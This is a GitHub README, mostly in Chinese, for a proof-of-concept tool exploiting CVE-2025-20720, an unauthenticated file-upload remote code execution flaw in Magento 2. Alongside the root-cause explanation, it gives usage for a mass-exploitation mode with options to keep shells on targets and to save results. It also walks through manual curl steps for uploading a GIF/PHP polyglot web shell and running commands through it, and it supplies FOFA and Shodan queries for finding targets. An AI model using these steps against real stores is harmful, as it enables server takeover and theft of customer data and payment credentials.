shinthink/CVE-2025-20720
GitHub: shinthink/CVE-2025-20720
CVE-2025-20720 的 PoC 工具,利用 Magento 2 访客购物车 REST API 的文件上传校验缺陷,通过 GIF/PHP polyglot 绕过实现未授权远程代码执行。
Stars: 1 | Forks: 0
CVE-2025-20720 — PolyShell:Magento 2 未授权文件上传 RCE
Pre-Auth REST API → PHP Polyglot Upload → Code Execution
## 概述 **CVE-2025-20720** (PolyShell) 是存在于 **Adobe Commerce / Magento 2** **≤ 2.4.8** 版本中的一个严重级别(CVSS 9.8)的未授权任意文件上传漏洞。 访客购物车 REST API (`/V1/guest-carts/:cartId/items`) 通过产品自定义选项接受文件上传,但未进行以下验证: 1. 选项 ID 与产品实际配置的选项是否匹配 2. 该产品是否支持文件类型选项 3. 文件扩展名(接受 `.php`, `.phtml`, `.phar`) 攻击者上传 **GIF89a polyglot 文件**(包含 PHP 代码的有效图像),这些文件能通过 `getimagesizefromstring()` 验证,并在被访问时作为 PHP 执行。 ### 受影响版本 | Magento 版本 | 状态 | |---|---| | ≤ 2.4.8 (所有版本) | 存在漏洞 | | 2.4.8-alpha3+ | 已修复 | ## 漏洞机制 ### 根本原因 Magento 的购物车项目文件上传处理程序中缺失了三个安全检查: ``` // Vulnerable: no option validation, no type gating, no extension restriction function processFileUpload($cartItem) { $fileInfo = $cartItem['product_option']['extension_attributes']['file_info']; $data = base64_decode($fileInfo['base64_encoded_data']); // Only checks MIME type via getimagesizefromstring() — trivially bypassed // Writes to pub/media/custom_options/quote/ with original filename file_put_contents($destPath . $fileInfo['name'], $data); } ``` ### 攻击流程 ``` 1. Discover Magento 2 via /magento_version or guest-cart API 2. Discover valid product SKU via GraphQL or REST API (unauthenticated) 3. POST /rest/default/V1/guest-carts → get cart ID 4. POST /rest/default/V1/guest-carts/{id}/items with base64 polyglot PHP 5. Shell lands at pub/media/custom_options/quote/nx_xxx.php 6. Access shell → RCE ``` ### Polyglot 绕过 ``` GIF89a header → passes getimagesizefromstring() + → executes as PHP = polyglot file that is both a valid GIF and executable PHP ``` ## 安装说明 ``` git clone https://github.com/shinthink/CVE-2025-20720.git cd CVE-2025-20720 pip install -r requirements.txt ``` ## 使用说明 ``` # 单目标 python cve_2025_20720.py -t target.com # Mass exploit python cve_2025_20720.py -f magento.txt # Mass exploit + 保存结果 python cve_2025_20720.py -f magento.txt -o shells.txt # 在目标上保留 shells python cve_2025_20720.py -t target.com --no-cleanup # Debug 模式(显示每个 request) python cve_2025_20720.py -t target.com --debug ``` ### 参数说明 ``` -t, --target Single target (domain or IP) -f, --file Target list, one per line -o, --output Save RCE results to file --threads Concurrent workers (default: 20) --no-cleanup Leave shells on target --debug Show every HTTP request + stage in real-time -v, --verbose Show detailed output ``` ## 概念验证 ### 单一目标 ``` $ python cve_2025_20720.py -t magento-target.com --debug ``` ``` PolyShell | Magento 2 Arbitrary File Upload RCE [magento-target.com] Magento 2.4.7 detected via version endpoint [magento-target.com] [+] Magento 2.4.7 [magento-target.com] [*] discovering SKU... [magento-target.com] SKU via GraphQL: 24-MB01 [magento-target.com] [*] deploying shell... [magento-target.com] creating guest cart... [magento-target.com] cart_id: abc123def456... [magento-target.com] uploading shell as nx_a1b2c3d4.php... [magento-target.com] shell found: https://target.com/pub/media/custom_options/quote/nx_a1b2c3d4.php [magento-target.com] [!] RCE confirmed Host : magento-target.com Magento : YES v2.4.7 SKU : 24-MB01 Upload : YES RCE : YES Shell : https://target.com/pub/media/custom_options/quote/nx_a1b2c3d4.php Token : f3a8b2c1d4e5f6a7 Output : uid=33(www-data) gid=33(www-data) Time : 4.2s ``` ### 批量漏洞利用 ``` PolyShell | Magento 2 Arbitrary File Upload RCE Targets: 500 | Threads: 20 | Mode: QUIET [!] magento-shop.com 4.2s RCE uid=33(www-data) gid=33(www-data) [!] magento-store.de 5.1s RCE uid=1001(app) gid=1001(app) [50/500] 10% | Magento:23 RCE:8 Done | 145s | Targets:500 Magento:23 Uploaded:12 RCE:8 ``` ### 手动漏洞利用 **步骤 1 — 检测 Magento** ``` curl -sk 'https://target.com/magento_version' # Magento/2.4.7 ``` **步骤 2 — 获取产品 SKU** ``` curl -sk 'https://target.com/graphql' \ -H 'Content-Type: application/json' \ -d '{"query":"{ products(search: \"\", pageSize: 1) { items { sku } } }"}' ``` **步骤 3 — 创建访客购物车** ``` CART_ID=$(curl -sk -X POST 'https://target.com/rest/default/V1/guest-carts' \ -H 'Content-Type: application/json' -d '{}') ``` **步骤 4 — 上传 polyglot PHP shell** ``` SHELL_B64=$(echo "GIF89a..." | base64 -w0) curl -sk -X POST "https://target.com/rest/default/V1/guest-carts/$CART_ID/items" \ -H 'Content-Type: application/json' \ -d "{ \"cartItem\": { \"sku\": \"24-MB01\", \"qty\": 1, \"quote_id\": \"$CART_ID\", \"product_option\": { \"extension_attributes\": { \"file_info\": { \"base64_encoded_data\": \"$SHELL_B64\", \"type\": \"image/gif\", \"name\": \"shell.php\" } } } } }" ``` **步骤 5 — 执行命令** ``` curl -sk 'https://target.com/pub/media/custom_options/quote/shell.php?c=id' ``` ## FOFA Dork ``` body="magento_version" ``` ## Shodan ``` http.component:"Magento" ``` ## 影响 成功利用该漏洞将导致**以 Web 服务器用户身份执行远程代码**。在此基础上,攻击者可以: - 提取 `app/etc/env.php` → 数据库凭据、加密密钥 - 访问客户 PII、支付 token、管理员凭据 - 在 Magento 各个目录中部署持久化后门 - 横向移动至内部网络 ## 免责声明 ## 参考文献 | 资源 | 链接 | |---|---| | Sansec 研究 | [sansec.io/research/magento-polyshell](https://sansec.io/research/magento-polyshell) | | Akamai 分析 | [akamai.com/blog/security-research/magento-polyshell](https://www.akamai.com/blog/security-research/magento-polyshell-apsb25-94) | | Searchlight Cyber | [slcyber.io](https://slcyber.io/research-center/magento-polyshell-unauthenticated-file-upload-to-rce-in-magento-apsb25-94/) | | APSB25-94 | [Adobe 安全公告](https://helpx.adobe.com/security/products/magento/apsb25-94.html) |本项目与 Adobe、Magento 或 Sansec 无关。
标签:CISA项目, Magento, RCE, 文件上传绕过, 无服务器架构, 系统独立性, 逆向工具